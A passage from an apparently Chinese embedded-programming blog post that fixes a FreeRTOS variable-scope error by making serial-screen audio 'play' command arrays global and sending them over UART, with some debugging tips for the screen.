- FreeRTOS 任务函数是独立的执行单元,不能直接共享局部变量 2. **变量声明位置错误**: - 变量在函数内声明,但在使用前未正确初始化 - 编译器在代码流中遇到使用位置时尚未见到声明 3. **拼写错误或头文件问题**: - 变量名拼写不一致(声明 vs 使用) - 缺少必要的头文件包含 #### 具体修复方案 在代码的 `USER CODE BEGIN Variables` 部分添加全局声明: ```c /* USER CODE BEGIN Variables */ // ... 其他变量 ... // 全局语音播报指令 const char play_manzai_cmd[] = {0x70,0x6C,0x61,0x79,0x20,0x30,0x2C,0x34,0x2C,0x30, 0xFF,0xFF,0xFF}; // 播放4号音频 const char play_cmd_template[] = {0x70,0x6C,0x61,0x79,0x20,0x30,0x2C,0x30,0x2C,0x30, 0xFF,0xFF,0xFF}; // 可修改的播放指令 /* USER CODE END Variables */ ``` 在 `txTask` 函数中修改使用方式: ```c _Noreturn void txTask(void const * argument) { // 删除局部声明:const char play_manzai[] = ... // 使用全局变量 play_manzai_cmd for(;;) { // 使用全局播报指令 HAL_UART_Transmit(&huart6, (uint8_t *)play_manzai_cmd, sizeof(play_manzai_cmd), HAL_MAX_DELAY); // 垃圾识别播报使用模板 char play_cmd[sizeof(play_cmd_template)]; memcpy(play_cmd, play_cmd_template, sizeof(play_cmd_template)); play_cmd[7] = 0x30; // 设置音频编号 HAL_UART_Transmit(&huart6, (uint8_t *)play_cmd, sizeof(play_cmd), HAL_MAX_DELAY); } } ``` #### 完整修复说明 1. **变量作用域修正**: - 将 `play_manzai` 提升为全局变量,确保所有任务可访问 - 使用 `const char[]` 类型确保存储在Flash而非RAM 2. **指令格式优化**: - 添加完整的结束符 `0xFF 0xFF 0xFF` - 使用单独的模板数组支持动态修改 3. **播报逻辑改进**: - 满载播报使用固定指令 `play_manzai_cmd` - 垃圾识别播报使用可修改模板 `play_cmd_template` 4. **内存管理**: - 使用 `sizeof()` 确保正确计算指令长度 - 避免在栈上创建大数组,防止栈溢出 #### 调试建议 1. 在 `main()` 初始化后添加串口屏测试指令: ```c void TestSerialScreen(void) { const char init_cmd[] = "rest\xFF\xFF\xFF"; // 复位指令 HAL_UART_Transmit(&huart6, (uint8_t *)init_cmd, sizeof(init_cmd)-1, 1000); const char test_cmd[] = "t0.txt=\"TEST\"\xFF\xFF\xFF"; HAL_UART_Transmit(&huart6, (uint8_t *)test_cmd, sizeof(test_cmd)-1, 1000); } ``` 2. 检查串口屏配置: - 确认波特率匹配(通常115200bps) - 验证音频文件存在于串口屏存储中 - 检查接线(TX/RX交叉连接)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值